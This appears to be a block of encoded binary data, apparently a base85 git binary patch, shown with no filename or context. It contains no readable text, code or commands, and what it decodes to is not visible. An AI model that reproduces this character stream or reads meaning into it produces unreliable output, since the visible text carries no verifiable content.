zG?ix2Mm}VbXgg;E(j&H2X<4Boi3VE;Tq$HAOg0lDp`Y+H{frtQ51-M%j`f*FkTlvf zKyWoI>8tj2?y%I*(f0@wduXAbdcimc_b1D!e6J-<$zMB}dgPS+9PWWD%1uj%2xr2V zCMPhKn^%U?yf_;+{QZ%&@5?K(;-_Xl+>8``u3VU(?DTH+haXB{8I zYV6j#Ltfn(O>S=z(YcWD@E+a1EwAvO_rJVbFPst)(XDDTT|PAvY~E5~wm-@XojwSJ zUlLCvyJFcs4$6=>L`_v z&2K5zHc+AWKkv+H<+}sn)WEy@3tx_;GVF9GCPMYB`D##WUu>nq^j2>}$b}nN{XB-h z&ZSh0g}}{Z@dZz9HQ<}JWZllma1CXB?d|fV?(Zmdpc>2O2ZGl{qKJTbaZcly1m@&) zr(m@@)~(59tk6cqCEhdKp1fF}N3r)e$@fR9y^HUvBl-ldch<-A@_uyXy(u}7IFTg| zGm!{Nw$t7}p*{spXu9U%!2?-gCM#;t-3723g0Z{}B_~5#zR>CEtx`**Hpwg#t}B8c zw6*lz@bdu}q|^C_55f(Vc%gTxmj`#kM=EaN=;bYLyAN^RJ-(-f_@iG>1!6wh=w7(F zGmbN)U+LUNF=m136E1ajX@0zr;e}s{l6~!hHvb@hwx31$Rq&W4M|CUvoVmK{ZA6R4 zc$}Naj-|}(&sjQKV1sZQ+kZ^O)j&wRbYPF-`j2oD_6}bk|6@BvF-Av=Vr_L%FN7Lr8hegt8Cmxaz*#&6G7yX`A+-O&IlrTW-0r@0 z4-EbLO($*<^uIip)^zO}-*&znikbf=JK?_(LCX>idXMcYt2>%Qh&h<|A-%n1JjEVeiJF!;Ss*($`^f#50 z*! zE~TyVVoDqN-QaI3u8#ZdBV%e4GsV<%8OnbwfbMBKSHctP-K@|53#&IL9pWjosz{q; z@h=el>vu7QY;}cZHx#&mehL}^EaBZB*H`8?|KmP(vyqUpJKuB$P~-}AA|;h^Uo#SuG{)=Ugtk7#orC|KfnL) zv;L!Q|KIugZ;Sk&wkO2gsW8Gv#EC=h-eyF-*c}ICMaz}_T8JU?my*~4+0Wvv@cgJ; zctQ0toP_2+w;xDbL8jpFLYr3Xe8#o^>1b^V5AN8Oaq;#xDft*LW=Bj%C=4gaPc!XKC26 z#u?&7?zeY(aNUQokLOeLJC-LOg4cO;{-gc~{K3YI?UK8-4ZPP!oO$GJJtMb##y3TT zNa15C*{%eKFSeUXrK;|c;D>9g_nkkYW`8@yf`Qwd4D=*e!f#rkJdu{>yI9*Ez8L6m z4S(x4^)By1eG%pT4aZ_zK9cSCbvBB?6uZg-ZD&m^tjY)&mP`rRyKpq@nbXRVetX0z z!0>>MK}f3g?wN#ND8k!Yp}$=P%z196cMui_mM(KKJ+q`H8a}sffJ<`kj>kv_$D1}Y z^L#fW*ap07d{}ukL4M5N{PAX8gU>4KGH3eFjeC|K^PeJ{`mQ;<=i7<_!|r1_i`Q)6 zJCmzc>bv9+LnFFK3LA=l)t>Rxz2w^5WpS*#0rV+_CNc_@WgSM1$^ z%RUE%*3ShTj3ZMjgLqxuMb=%9FwXJv%QF&y!mzPlNRx!F@RB(z(-e8`UXv&b6+oNJ zFP5_oBR*eWLd(U(-{)ox3`2OcHwbGwJZ1$b*7ZRUE18J1_>Z#UewsB9t_#CIrK^aw zLRwEdN}jTGnDOZg4!0p+^#iay!ss~00HO{Kv%LY%tt%jnOi#Y+Lri%m@|S+=68?*1 z+Vf6-hgq}h*nfu~_{TRBf_1S8?u7K`_Son@vT7dD4H@1;EobQjb^G2tX?`;K4kI2S z)<5I!^iw*j^yv#vlHY^d;6i7B8!pthi-fQ>(TT9NYzKotBN5M>Qk0r+1G$%D*YmAm zg!YUOq|5p{arpqm+`e_==WHz?`<0vsEZ}vb#TfBcXwDS)tdY-bw_OU#$vrz8QeD##~P7>rI^`(kMUe1{RG>t-(3A z_{AE6C5VoBRrx}oIj)P+UbXtX-`=Wi1))T&G(*V`HM)9Ye};QOD^=?ci=Z*ISa%M# zQzuKkVMto#S>SZD zr1pC}dAf!%# zGEzySi8A68>?M= zwre$UMDx4KEbXnTbTl@?dm(}{ZM4OcHe?M1E5o;bA0@{GX@zYlq62tim7ZQ4hz#kx zV7}qxfx~%|HYfe}+tG(~RDi+Gg`_Zm`D2-elk?9D8Y+&4B~m(blRQzF6?HP{n&Iru zHOHR8He1_61oR%ZmYARZS$LzKqx-doq!jEDm^?MC3qbsq)J=QjQVc^?K`h{dcG@r+ z7AWzujX7#O=i+o6ZzEY$lkZl)qO%f^7W2wOH_Y_!g{?~bE5y=6mx&nWZQF*y^PcL{ z7Oa0>keyqzEKlo6J2FA=DVn-!AG+U0-Xl%4-jqy=;@1 z){RbsSqcz?tXcN2{tm*dD1QxbAx*oxp0?9tJkasmN!?+@$^zq5fUoEAWpYQo)Ue%O z+vRr|f55c+i|3z~p>aXxv0CGudx0oLByHm$piXU;q(SJ?glA@-S=m70BepQ~eG61a z6M(El_#aA69d8pe`9c zH;7w@-bC@KzpCAfYwA^*sNdI};NkZ8o8h{R^;R}o#^ZoB34ar|zfUgTyG=ewacksx z@*N*>`V;2F^lw-sEr6B%aeu<^lr$ltc~p|GhL~u4MBcv|4^X0O`P}z#M10Jt8%_j| ztBdJfsSAY#;Mb3rk(I!NKcSz$JM>-nouT}80EJ!olIOieqKTLmrt->t$V8>{8Sow? zkaD7F6%N2`x(?wdAY`7O6%EK*e?aoSGc$=f$=rL~F5xAoGXE?#e|u25HW*6RZfC2%V+m3)0d3KeAm`@R19vbRIans+e#93iLR#tju- zi)}(YtDLpT!QsgxIG!P9IA)F96Dj#n!X6es;5dD~Bu?yPefd#Vsds_`8UwpPd(0jb z+0vprlU3Bac8W{4yh)^gL7u36V8bHT#m4WgFx(G(8JL+?0V>KzZ-HL(MC2qXxn&+e zPHd(ftBnOKyp94aISp4ZYyQ`70*XfoYS24qA8F*9O{Hklx7J%HnVrM!wB ziUnPX2GGd5=IVbcE^Z^LcHv3qTTS5~00w&e~nVJWDy;mgr zn(9tX>Er?0YH_}_5nEkntbVP8ud0s{my}!{Ft#s**jLy-g(C5oj`nv-0{(dg{NV8Z zH(zOA57+3nNm`09u1-Tx;TNm2?lir%&fGn!=~tPbr~_p?3wz#%Hq8WpINQ3yf?$;j z%kG%a&ljEA&1ggg`jXQkoE69AXCu}puRY!i4D;#D$}r#YX@)>CoyN1Su7s#Yb6X3v zxC_7im2uPZljL_!&iIse#F=SD9=Pn65oWR;E~U<@17q_r_&o23 zmM9Zre4gGVJiToeK<{gV71GyQp$z^a=Vvjvjx!+2Fz`BD-tP&a^vx@(3Tch>w`!ep z=AbtJXyN6)Z1WZ0gxuf$dH*{2!($P|^z(2f&DikGw_9pbZ?@i^$Le_yF=8*P3=+0P zEnLkBL)^!0f|hwz{aVn$c&FQa5adAhtDm*%DeI69pW?|ne_=aKT4YSQX9z25Ba@9> zZ|*0ZpUSLyjidH+Lr|pWn9(2sGHQ+00an;Z*IsiYV+AApON$ewVbj6D4-r*B!*4J2 z)oYeQl%x(OMPG&J50gm^&mlchDfQ3xLS6%3QrN`RJ+sN-(a!Zlad$=B#HXCD7IVhq zX*Ya!QikYd}4@DKK0hCwhBj|^s$4g zsr_kupy9wSsj~QP@ssNtPxO;&rW5OQ8{#fOq~`NcG5uPy;!|;dk{r522P^eC7|ecY zi8W{N@8V}GLA2X8!p3lq-Io+xkbSdSY?_e%rJYNo@x>`$=rc87BefnMMaiosp*xnA z_iF;RpD+7sVlhE{jy@rHYQK-c?(vj(p`~ZoGk)<-%L2$(-Vr@o!+S&{z>JCP$MeHl zm90sHk&Xb-)*(#Ql5Q?RB8c&HFzob8V0D*<5@vE4U!%6r@udYn|;}R z|DN#-RXw>Y%K`))dA4+`qG_Fy=+(miiN`FqVo@cm%x)c=@u5D6>6vr*v^nGDWVLGb zJ+fN62v$pv!}4~i-Og!ORm&j)v>a1NBJEHIrB6IGUwsb_M|5ObEU*=n}d zgjDitX*-h^o=D1<>WMugf*G^Hh5q79{~1bVLQZ4%pT_6|O5d%hrNNni&;CWhbMG4THkBfGH3HTZey8Q{K#}u7yO_9RLjz#0%UgzW}SDO{y;G zN4m%>);JbnVNkfoBdleKCXy_$1cK#XU;w~d4oFR2FcDySzhmx<62Vh<%By}huphTR zFc{#c5j>}<^kSZfFli_W$ZRX0WujF&!|7_xfVA5?lInD^1iBXLRy9yo{J>jcSEPUc z0VFlhaiqZ(<823(HAG;)wf_xHeB0VCwH>$Mt#=@lJ++5r^61y!dQU;U#w_+xU1iln z`zFq3>LUscmwUH5Q};joC%Lh%jcPxSh_xBpuH?}+x~(5;*NIW|dMR-iBviiGD(MJv z9S4hgLWmXYu+=a1JW{X8)x4E&JcD2Q^rWaYRQ;bDGuqVyR%BbD)7&-SPaShw(ap+! zR~m$@&iGn8IhrB>x!z%%s0j0kCfENG(=UvQ@T>n$Td)skW8Qg{uubv%F-#5;~ zs_AR*uS|+!)b?Nj z6WtHPsZB;Q0$+Tp1&9 zSc71p#vJI0B*#^SMGiD;-p<;5h6=b| z)gS$Dozc4Ggonx23br;gv71603#0@JRK8cxGm2{_Io;!HsTf^vB2m5Xh|bx^RZ%o? z;!>0!dCb@5lwDJr%=~0AI9^10#VL2WA9Gc9Oy+K&)(>uMeGd!ZMfCe?jUGh)r&W@7 zKhw;KEwB+)8DJ3Uu}f~ZFVb5EpL_(W{<(|O1tZ@G>e}aL@!F1dlAUN4;O=bLG3Y5=1K1F z^%KFrt*N6~I)=UJ`hmY`zu|o*fjamSn4;J4VY23YXYkmluO=Jq4#!z@t8sjdwKC!w z`v^vQSD`QOmz=Wc<<`h**b~-zQXg{$WnP)8hfVKVz2{X@j7l5Ah(9Ox=L*&AFMc`! z<;O#xS|kq58QDv<6uay6LW+=wRoJqk1#-tDQ%Z;f7-=qJ=RBH@rlZ1$IN*NCjn933 zIG{CABBg&qBm5{u6A3f|jbC9@W}$dmn>&X1hnp$Xf4MCZxNKrxBAHnTK-*nWq9f zxuoj4z<^G@_eiM@J@lF4TP*1ZrXP~yc+s5Ft)te@6?98sE0)l}&DEukg47UBKt;Cn zjAo|T?7FS_Bo$QKW0=?~Sgv>I+@3v_Kl^0$i@~dcl>=xmf0a&OYcqV78JYPoW)&$t zh>r_vDoAk|R#P~n}gU9oB@oadO)JDA12kA@O8>COJw!dr$gKUA$(jL%%% zuGVivZ(4PR5Bn=#8=U4X(DW#IzFAJv$ao4;2bN&Z770^7RU80|Qa<(?;sO_5wDKTw zpTS?Zb}L0C$L5&RxHV?-FYpo1_&d$1uAEb--JHL@^~}`IR<#pIDv#z|9bXpU7asi4 z>+Udxo5^38pEV;p)&{S$0~^uaasDf=34y$;RHYt`@o+hIdCx6jJ-HM;RE~0bYkfZR zx1uaJ6oyVm=HS{CBk^#rM}>5hHHgxG=FVy|x`t2h-7=)DZgO3lPor_6tlN4@{Z=8G zp_PtThpT}a-_kC5VaP&uW&!)9M>>^I1cnJ|zT6n9e17RG<>Y5Vp3(F|jBH3g$8Dpd z@dc~n(Hl5Xeo#YC7!Mqs_RqsuqSk^r#--FIpG&%RwtMfPSA1TeW8sbnb*WtocA$fX zL@S7zW~AbZzhz{eW45x_hzWoEf+JCTX{ob{Lfgnn!o@b^eLIfwRV&E*JFzGKBUVX* zB5{GMxRID?oyu?)sELW#nL5e-nD(m(N}FgwrVwUwl(4PT4KwcKJnn+d?wG+2g$a#h1HtVMv^0c`7HpDb8IE_Q6NQJpwzyBpr zTqr;6TiJoqn%T!BsoMAEc#bycCt#wER7qNqjN}oD@Z5*#v zQR+9kQHF~_q{LQAGL)@$4Geawj^OZ@cH7fwCn9s!SNtnpFU&eUWFlG%yzwOAcQb1b zBCsdb5>*!Einp2=M5S@=!^ehM_774V^B;XYGiisG*>zePKbMJ=MxL7gSIY_dLuSk6 zv!&p-XoDP2w$s%+1*{;wc;lX_f@`OI7Ljvn9Hrq-9>r1X7@#{?yWYJqwTf(-jP<*h zO=Z})QM}_jR>IfG%`;6}@x~0cV~R6}fsw`vR-`qHs_Mvev7Bz#oZFRWhK}VNW-4?5 zXRZXt*+RHrV!E#G%>=}OCu8s|St;=XZ#rRl=1mQE^wL3ts}nVVZ6S6#33H{GTO3?~U@Z z9NK-EHJcQ1&PRL}C2M~^YPT~Y^~Ns(Q;O;4zRw^7L@Eh=q0=(jDXW%d|F9pDlTQ?d zY>OQnPtyfAQEsZAho6`n3xdoUiuM>X4U=&-k`{vc}9FAkioe$IHcDkxlsio z2P!A@Jzj^pa0S3H=)>zm&<_pm$~ULnxAfzpwg4+DX#sx3-~7Ky_5*6Y&@BpozqEE) zQPj$bH#{x9Gm~HWT=VXGt|5k#+(LS)U-#OA8N28+%`O%TEMWBH@^23JUF09{u>49X+4__{trb+M=md4o?(Pf0nWQ+Z8w zC1cf7yC)4OXZqr)f&ZY=PK77uN$SB=83AXvIjK%5$Za=!DR@RklPCd=MSdP1LYn^? zqIW9RwJqLG2ZE9x;lNFDXGqtFpUV2a+h|fr$QPr5x(vCi`7H zmo^R8%i-ls-A^$M$0Ubm(DM_$jB6~0mjV8iRYhFb`3YIq(fKtd$8N7{TOsor0lj5& zBl(kUDh4!ArLW+px<9amuD02Y7A3oJi?E^rdPSdbtmTHjh;?J2wsps!+lx#A zEqdHCr@pPM6c#^N;=%&Z?f0%8tiepPQ8)36!8qM%qIKz zPJsOt12nm8RFm=au8kiJ6l3|ue>)^h8RTQNu688Xk-xbL>3ZlcE{T<@KgTth{Qkv{ zp+!k%@cO+PZs;lK{BTRByn7EdG`Y=hb zPvEiqh#-}3-=oO}eK^m!hR%Tkz@-P$)y@Lxu4v?vf<{Xwd5VOS`r=S)91jiyAZ&8X zn7@g(?oh}yU!)!@HE@0GYQ3Zs!9hRMkkTDL!>h&G`=eBodUCMcs#W^bFZJZ9gT(XO zF>7-6x9*nB`n-r!y{oUv#o5j=e{T!Ax*b|w7G@TY72~Ha;tzL^)8}SyAwcW>`j? zbg7yz%3X}#9StJ6O-Dri8J%|}kD32G29F{59<$m{$nO>$;)yvu)Mipp_FXFHHo>0j z=klEhI~J%^ZbuOT@RuWiO-(#8_Q_rhIUL^5scx>Gs}4>#?tV_8QA)*ER^*y10K$BU^5j&QFKi5? zf%I_%MlK`CH4QQibQBZH2AF8D*BtQzWN~8FA84BOUS29_9+kz zK9GtRM|z|_7k@0cAo;V<3CN6s0z~wh(o~*dlNB}?g zFJtoipVV~1(~iCr+1^X<<;hIb|D?kDY=@0es(r%7EXG|wk<^{u&J4bXesqx3aU;8O zhtU*FusQ5Ke0N6QxZ1+AN(=Smra3HKZhaJ`>*}jb(D;ucy1?_VA{v5xm^yb$Y2>68?if7*sH$RI61p#wthZyBRt&I>3# zyu*LlyY`CeMlb^b8g{z$>`nW!C}#{`P^pFM$dp&oi|9sTX^;pMLInPe{+Bl28X(%K z0CPh}`0jgo%*PH53JHo)SZ;eYJ5U=i%EvFY&x=fQE2#j-C)>iCo3%@D$r# z)FQgoXi$bt2G~?=MV#1qI>cj47o%AyF-@%t!D6WaL<+wgTG1X13(FX&R}xf^T8JV~ z1;?*U+BpY8hrHUE>J$65Ocf?R+_%S02R8PsE;hwdddCL+s+;FXg z&51{?sd5`JbolXaq!f4ST)n4?9ZYceI?i2%4Ap_QdC;w|3_CAs{x{nd%<)m5Y8C8) z~6?7ekR+)L9xnh+8oxVyW%I|PEe zTY?8&oCN{|cL?t8?hXk~g1fuBvpD=V=bYq`H_v(Rt^3Elx9X|dqNaxZZufVlr@LpS zKi%v0$Kob-A1!28SU{L)D~Vy|iqeW1)P<;x-bmYXRrH5ki@oij%wojTis3;~y`W~O zT351zBl+?vlHmVe8Og-Pqi-03(j=szz={B(o^yOw5d z%)>1S#*C{yJi4?1N$sZ0#RjHu;!vAx>-$@u?;K_Cv7B;TRVK=YkT@RPu?;w8OQNYdn5Ie?b&MiCSxAY>FVCnJ0`JbgBg|5J% ze$977R+!Z#sV|TJf^R4HXsUW&xC|$(*pSCrGxUT#poz(Ltskkh-|er1aTlZ~Po{w# z6cnBDLg{#xY3|K?h-cBf>hC3QIF@Bd;`PTD%w7+xKv4lj!ez+o{J9b3iuFn{LhMb8+p;MmJ+wRzJpFqIIy!aCTZkF zFadfPil8lPwpy+gGxB>S;dj~M-yA~p&w7Mnp}P@lRskPgO9w~r8Aj|-4^{5n7eCoIVI>@WZN!ja^mvbh}Otw8;ci zwkW>@=yY+w%qo3Yv$|zqy1^64M@g-pPnM|sxVLq%|@fIVl{5!ZA^OKrQN4K4kEWuh;a$SbN%aXl_e;!HWlzZmz29mzxf1&av{}s&tplnZJj6Zym+Car=}OOPSG*3* znO*JPT`bwQ_p%Bfg|*rNsG8&bs&zEE&bQx|qRX`|;f~cES)n0oo*SoovlxGEstKHE zHho`U@WS<-`%Y0Yi^y-0&3bi9D`5e~A1CK%h`gVDBI>^{>MF9GNp1b@aK z`l5q(vHI+bsb-dLuuCYkr%RJF7oX4K`A(|}m;5doY2C2|pygZcNuq9PLby(j0N^O$ zbxcL|-Ej1lTIQbTw8YvmQ_T3`kk-9@y>?6*#K8466_jlhwK4?sbJ37g+X}g9BrR(U{ckQy)fyH3%g_yCC!eTOKk~9WJX4zb=XNUoO5wp z=t0z(PPt!@QmDbEIoMacVzNSA96D}o33>*j|GDV3{tAt$>dDZL*rT<<=hGd%e45u> zfQ7>J1uCPUZwUoR*vUOcN)FYS-wpa46$>5;&_W1c`Otj85o$T1_}*z{wHZHw#14zG zz-$XP^`jS_S(WMEKmFeY5xX|`|6c(SL*9Oe5ca1-(&@=uBPr3Gf3G9Fgf~N^U&Hs6 zRg$?;{4Cm?UP$6wUKQNnkIZ(=@BbaM-q8cXYhZj)0eNeWv-6f%X-?gnaDre_R1}A zug%l!%Lm6_p}b%`PDmivh>HuhxGf0o7e?}SMudrAkw+yEYsq<6weo&O6THGjI@&aS zvf#ntwSbyX-~vAMKn&LR?|oR`UuT*36DFW+E-mw9Pm>;bvP27q;SWA9xF>LcCzd)uf81UHI*01 zqgUkQ`U|Rib~;9~v9ZJHi~H3E?(uLbS-%ETSGKVBGntmWw)$80`Zyxm z=4)|N<9wfVs6?7vGf=F%-+r_rC7v$+hVy*Bi1)Kch->Bd$<$#1wsl3qJy9stSj(<* zdw5_0tt+>=#q-7Su+gphvIlGg^sh7|b*B``wxBn3N!&1%!GgTz#-06Qu%YSCZ@ZOt zpVnYDhUvu;o!V7AoQ(LRz1~bFzbZRbIspyfDE}D*wki&G4jKl5`LpxL-t|Bic^8yq zg5-kwF|B+<7=3yNwes%n9d(C$A+WxDN^Qlq0fh<0%1=zxiu?y! zRZj2vwW2$e;fC|q2#XlcutMMsM$2*X#k&Uk>-tr;+j+gC+5%cM&rQkZA!&rpDt@sL z?xqJ$4ciMV)#FqOpdpUhkfwh-4nS%eqV0RJ|Yn*s)g+?Oz@ zdXwUwVIL%t_h1~X%f(u1t58ezm1cz)AJ=)ekMfPTnEj#ngohI(`!-JUP&b^M(1NP@ zv56`p3EyUrb9!ZO0r39I%`^Y+xuyWcF zlLe!HX1U~1Bbprp2|oq1fJue@)z47su#r{gUrnm{j4Q8;diUjvQx z)cqdZXchK9TeOe95bcc+&uZ6c?pfbovPtDU$gX^@noiJOiJIRX!Hr_uX?)+g`N-68 zaes+SNpi1D-MPtaY-H$rpSGeIYFqpAKf+*VJu7k03Gv0cgQ{g)Q2e_{ZBVq*ri;n>b^Vd5|8kl`FZe}c(VE4oO9n+8n3QLCyG z^^gV_!X8AjWfElSn2{d52C?A^YdbpeL9lU{Ri$#J6tsD_^m(eK#aKU=5bQf_wMlg* zReiZNW0*_xuD@V%fu7>iS3c&=z|Jo3JWr1?SUNxjr+v_l#&K6{$2tZ!8p4Rz@uc2{HhZXL4^=E@-8*8LH{UN|qu@nju`WK%$s@LL1KHMM051O@L7#T)U+;-> zLh1D$J^7YYY5^59Vr|bp#x8))fP~z280JaZ)0fFDZO4 zpzIY>A^eDW^HmeRxXI=xX7u(ooqW1!BYw92O<(in>STpHcG%MEMS1O|n@h3#xzA&Uri;t{r&GAqCsUjAl^^90{A(ZeAJCUvA34xm zVDeqkp*x(DF?{(Sc9jwCufPdInw8(G%FX$vQ&JN5Wv4aE*Lv_Wy8E%dUG9}`uC{Gpj}IClB}!{MUOYTqYIZ1qLfTjv1D756AUBEoUH{RSvy41-_=3jyBHN%euSk^NH z{m8H*EJozGSlV!yx2h*f$)*yYZDfXxkUQU{>>^=dylsk-&(*oC=Ib7*$pm9q7NJh( zU&}EX^WhpCL-*8ajfSD;?=da}NITi%aCpn$Wx0t4!#&y*RY1G;T65&YnEkQY=*LCX z?1Y>$ErS*G!PR1@K1yH5-MXX*v5M;Z?YJw2J@T@eJk8^PD$UKLTAbsl9<3M#&es9! zt%>1$sFWfO*8UwYn&FSk)=%G(I8H*6Ewe$4ssk}aQsd2SEz=i{HB~V%2}nMFu@0^g z?7C|`-BgU(u!Pzw;B3Blgd5c$(d(8UloaEe-%?GT!UuUeJ7uI?+&A#g_g`t&xNC4 zfAOsD9`p>s%+SUn*c>t2@7R0xJCM2#_<2eD0M)ID68%?@yd3M(#9~-o1?uRbi2S*%13`&{;}tOrw&zvYR6R z#U;to^rXt_IVqIFQSj~{BFr_hO{c0o6AMEbdz`!O;x?Dg0||oXdOnG~q0xXtC?1eL zspgq&R`JsoZNs%{8htMqeVduqAR#181iqQMKZ$!@%B-6T4`0A<`#QJVim~g%9YXiI zA_$TU;V6U(ru-1aXZWA+n3aeBkMNjX$Bv*Vkl2S}9>ox!ZcOhF>azj7_%QP#LHvw} z9se)jF;Ca%GpyUM{soWeel<}27a|bJ?#Ef)LX2(OUmd@&f-A{FBi{ALTfdMc;9K@4 zI`DMrI+=4Z{dIEs3rGq50|(#MP>JzZ6{F8WJE-88^;>%h*gtRQ|M6D{3}&c*4Tbot zry~&jEK`zYlGIO};-5_XJZBu2`bCW&Oy8AafcPi)>@WIWpDDmc6gl}3K7VGX1$RUL z0Gbl5RMPxp=od;$><0>Pt;9y=*Bj#tgH7XG1rx$wJ%2SuydV$Cjn?XXq2(hcjVtnF z-NF+|e$n=_mI6P=nW~ZW6W#jPV@O{h#rfj`347kwK@^k=cy*XE))27%44VUgX)zYe z+!0T8O~_xcm0x4=&y9{ha|_rc{VbpG@9h0CO#l6@pAfK)P@#HMFm&_r!_VvfUvSNT zX$ZlBrKkn%pNIN?wwqr5&|C&MX8!~r{g+?)OP*c=^j`dSUVe4{56JWXB=$#-H)r`T z(fVz}%le0$)+dPL{F5mCBJ)p;_T=fG(*8S^!O-CPAJAZJ8Pc#{3;4Hj5UC+V+d=cMYXJP+|tS^OE1xAamvYKZLBqGB{3O3V-?7wmm z{C04`a71z>4)6N@wd+c=3c(Be1*~$=g~08c0iFA<5G@+T@8AFD=!irJX}~NU?S9vJ z7p#ry+KA`{P6&A89+9yS-T5=R^7pI?1tLRBx8wc^3%O8}QTrqPmJO=(OO(HIjQpN5 zQ4X|k{z@2arGq`Q^}%*x@$DH2UqeY-bo>88PXZZQxgEEnoTj}7IZb0}2z-q6_^l5d z42|#;L->1wZK6b$FOM}Xq)*2)gSnQ%87o*Ec?3WeU`W;PANX@@hm=kq2@LTYuw`+p zq5?Kco+SSrQzB8%UIMOa6i=L@S2+LOK>YJG{Sgp*WM&BWk6_7v{`WuHLJ}y@@4#uA zgI3++N&Gp7)*@KPDmDp;xg+q{{+0m0R|UBG=CN*AJ|RwN)3ZOK@T02#ckzDp<2f(w z(~I;t5&;or#chE%dp^?W*fM`Y?*GBr&lUJ*kMCL*;b$%YTqqE8TEd=E&XBIv$MDAgG{1lL>w@F_0MjaD z18rNE*gIBC^g~4`Im2!}D{$3+Cx>9~1;wiZvn85E&2aZ2dvv_NgewAE-}C*K22rAxm&cVMm7BK7atCF+kHmGYdZErs+@G2lSXJ?$|89ame`18trw205)WD*u z;;QL&H4n@6HXWL}Gq3+F7y4V(3&!V45Pf`koO3hNLL!DboMpKwRmt!tCSMfSVl z{l_};gzQi|k#oJi0%IRDUke}{faC4;8h;>re^2SpC%rxsBYp9{5+wmH7bCUczk9E{ z=g@-7qTK8C_Yy?~KFV<#zrN*)TfTzcSvh>w0r)#Q(DY#UYw>&&shv00yB-(n>z~mV zzn?jx32;1u(=gUQ#VY?^uzxH+?RH*01E64O@Tx50@#hwA?hk**#|L7tj=8Go1!oH8 zZL=p147ielF*~cI450qIr-;0eNWjn4yIaBJ!5^+C7TvzkNc)nItmYc{E5*rgrI%QY zNap3Su*U6KNJC}0X<3RYxkUO^D5cN;LhdsO5;zmvBx^+@(Ti4eWz`3e)csncZZO{8 z+J;Y%B0)kLua|adrB15J#JEuZxUsXmdrKvY-}`S~_P;K2vJ5gLC-1ASfN8^a-5{w~ z1&oXxKK-v%T=@P@cEIj7J%m0fa2{O4!2143qU&luH!btel(;LpjtmjMpWa`_GxUdv zhxPahiwb3K(rb(37s66eDiu8}`uB73nG|fXf6Spip_}nOWGeR;*kp{duHI5^ncs`a zPhIHC;#Gm%5*gz^Fpr|3uIeYhL@mzESpc`WA7}V$2l2ZX#`iiwZgI?G{S(^xlmCCb z-O7{cv2F%wbD!IAxl~bVa^O7QY=H*PjNihZiLG z2qd7ok~Ina->^lb&<#m+Qnohmc1-v`vn7-f1ue9qE7=%S^EYgL5<*A))Ycr#N+=2S zJBI$^^1lQ2Yi9pDV83MUzY_LKcl>ur{?cdv)nUK%?SGa2FT43)EBVW!|JSYf>HPfH zt@y87@yna|)%gFNThX>ehE$pfo5WAA8+Y2jz z)%iH|Q+#IktXLmb{k7LKXcZ{0BuGaGM^T@ z39>c3I))i@EOiHDxp2lA%zJCK8<$Wt?`P1y^3Nau==N$2foJxH1=yP*r9>N_^nEj> zvikH0 z3I3&aq)%=0J++xn><*{J13|l63(^-6l$2Iwea-Nsp=SnE9`qK53MOg(!*m;LD`N2t zOM;M01#^NfehJ_KJ^+Asa>vK_q6fkm4iM}U+-wr`J#~uxjM5>jtTk12a+*u*n##)3 z?3GxPoNS8P$}tr3@+v#tSddF`2A^<|kf7gNQ?#{_|JYDozX4Ac>^H5Z6?j0Np7Lp| zc)Dk>o+ikC*%nJ*14VU7R+bbW|3E)Edu^EVFj^vo#}!e@TWnj~@=YE^lQ8Q#Yt2#q z_ZX%Qq|t+D3%DYXq&RUB(F&;-7ohmqT3*2^T3bhe%gX+SPL>{UjV0m-+_eAt-0NzI z5i?ea6NlHekY7=BmcDGgR#7W4Eh9I$=4IdOv-}rR#+!>S&F533vArogPEvPNxrS)gq|l(yHYWevOG$H7mr>R4~``oYX#T zov(?XdDSOG!oS_A3JI_SHQPt9j$aJOdq{r4Iff>MW0p16>rHku%P1B;BX3T{ThtFm*MVaE-zYF;_(6ku*^b174h-tNo6!< zsCGstV|Dx-3D~)iQ`E46{clWvj?^vpAl03*3Vx?9FDO3@&j`!V_Z1E-Acl!o!UPFh z%L?Xkac!xw*F?w0o^jJpJ{NJ=v1e^NHJ5q6amF{tIfH=@)~z(yDF5X1JwAW>?@>{4(;WP z5dGCrR*Ya+D8mjq)+%k_-?C36hFTDDQKiw*EyI?y=5uGfN;~l%Qx1M%bM_-*W@!#B=oi7Cx zGj*I0C%t4`vvjj*GjU_8U$(qDNzE-pPLhqY4gHuC&faqO68;!|X^(sBSZ$c8g9>S0 z5OaqN^w)5DHPw0S0Wd)mbfM!r_f7AX)WZeAqdT@i0CCK(u11q#rbUN^%AenYW!k6QBK!Pyeo#Hp zg~!n(vqiTv4{!&1ZC~x4>=<~>O|$}7c0fS+L?lWIo@NBc7=MPQ&~UcIh5V;W?Ay(f zbS*4>U;Uo1_r=h)Ai`Rilrdb*;OWHMrTOn>JnXea=qhY!85ECGe2>vk_qBr`KP7!2 zT;Qtp;GjIIBZx{wB$1j=BqN`m6ag`HeCvI4uZ>!q-;*b9E<;wpq1IfCoSr*q8ONbS zt);DNI@E60L&Imj~hEw+DF0 z<1x8)25W3@vuhnw1VH7&1%&gOQu)(n^o@PSoMPDS$3|I^RA5bNn}SP)yxmmUAJkx- z!wpa_tkuEVwdD3XSv7QoDciQw!@2|*`<-`);+GqG?lnZR8W?R8mX_wf7)&A9QvG&r znZ$y-ufvd_E|vYxfC2`Aw1;>@xpnYneqmA8Af!1}E2p|AGj{KldT=t_I}emiP(@I` z{fqhlW@ER64L(WCHS#;8Bh*G+*bG1sAU{*|qmcS4r8)3zLD}iE>3VT%X>;d!rz1fY z>?2+^Ge>gCU6D;XV21muY2zfqglPb>buj=Z)qw~dP% z(+r@ozTh;|(z~qNK?f$6MTQykt_rkx-8J^~Ku-2HA}(9K;H>5&SUHQ?sN?8faPTxp zPJ1#*e*0=LHFct*n9P6=kwoxpHTHosrfHSoBz$7R_R0BEubRPA@8w6I{cG!|c)}u} zTzUFB$FSGkdApqUhZ@o;yJYk^k!<`?d}Y7UCv3yx+quA5rPKFhQxl?xYno-+)Jdtj zB=K>_NcdV-b>Q1zU0+*Q_0jw-LDZ)0CQkoraDg6USUP~2wN>U; z-fhPJ!u?#%ud5J6^h{bA+iCYNcZ2L;2^-(}BKy0+ zwY0_}&}(L&j)zRRys2qS&0-e#nBPzp{PA;C{kMd&`gqEn37Ni+3JtGGLq*;dF(^ylBs;#K^AV#jJ4zgG2AXGS}A#jjjHw{ z8yh2Md{XeGI-EQ*qAGFIb;*`?UKB$^%5yP@vpNNUY)9FN#ZGU7Y99sOjlv{7{0ODq z5v1DJo3_>$=vo6^g{93AlwM*$D+)6M%Rctu+!vX620Hi5@nQN5xHtnO3j|IekOC`X zINFo3nZB#{min;cJhI%^%&`*!L3XL#CJY{j0%fiSO<8Lz4{r)gm4~#s*3*e6yL~*h 